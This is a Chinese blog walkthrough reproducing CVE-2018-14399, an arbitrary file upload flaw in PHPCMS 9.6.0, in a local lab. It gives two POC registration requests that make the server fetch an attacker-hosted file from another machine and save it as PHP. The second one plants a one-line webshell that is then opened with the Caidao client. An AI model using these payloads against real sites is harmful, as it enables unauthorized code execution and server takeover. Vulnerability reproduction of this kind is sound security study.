zoukankan      html  css  js  c++  java
  • phpcms v9.6.0任意文件上传漏洞(CVE-2018-14399)

    phpcms v9.6.0任意文件上传漏洞(CVE-2018-14399)

    一、漏洞描述

    PHPCMS 9.6.0版本中的libs/classes/attachment.class.php文件存在漏洞,该漏洞源于PHPCMS程序在下载远程/本地文件时没有对文件的类型做正确的校验。远程攻击者可以利用该漏洞上传并执行任意的PHP代码。

    二、漏洞影响版本

    PHPCMS 9.6.0

    三、漏洞环境搭建

    1、 官方下载phpcms v9.6.0版本,下载地址: http://download.phpcms.cn/v9/9.6/

    2、 解压下载的文件,然后把文件放到phpstudy的网站根目录下,浏览器访问192.168.10.171/phpcms/install/install.php,开始安装

      

    3、一直点击下一步,在”选择模块”这个环节,选择”全新安装PHPCMS V9”

      

    4、然后一直下一步,在”账号设置”这一块填写数据库账号和密码以及设置管理员密码

      

    5、然后一直下一步,直到出现如下界面,说面成功安装

      

    6、登录后台,生成首页

      

    四、漏洞复现

    1、浏览器访问前台,注册一个会员

      

    2、点击注册页面,抓包

      

    3、在另一个系统(kali),开启web服务,然后在web根目录下创建一个txt文件,写入如下信息

      

    4、构造POC

    siteid=1&modelid=11&username=test2&password=test2123&email=test2@163.com&info[content]=<img src=http://192.168.10.153/phpinfo.txt?.php#.jpg>&dosubmit=1&protocol=

    5、修改抓包内容,添加POC

      

    6、可以看到返回包的内容包含了上传文件的路径

      

    7、浏览器访问

      

    8、构造POC,上传一句话

    POC内容:

    siteid=1&modelid=11&username=testa&password=testa123&email=testa@163.com&info[content]=<img src=http://192.168.10.153/test.txt?.php#.jpg>&dosubmit=1&protocol=

    9、修改数据包,添加POC,需要注意: 在repeater里测试go时每一次都要修改username,password和email字段值,保证不能重复。

      

    10、可以看到返回包的内容包含了上传文件的路径

      

    11、菜刀连接

      

  • 相关阅读:
    jmeter中生成html测试报告
    jmeter插件管理
    Jmeter参数化
    jmeter测试实例
    jmeter调用时间函数
    Jmeter参数关联
    JMeter的使用流程
    Jmeter 响应结果乱码解决
    使用BadBoy录制JMeter脚本
    jemter安装
  • 原文地址:https://www.cnblogs.com/yuzly/p/11394620.html
Copyright © 2011-2022 走看看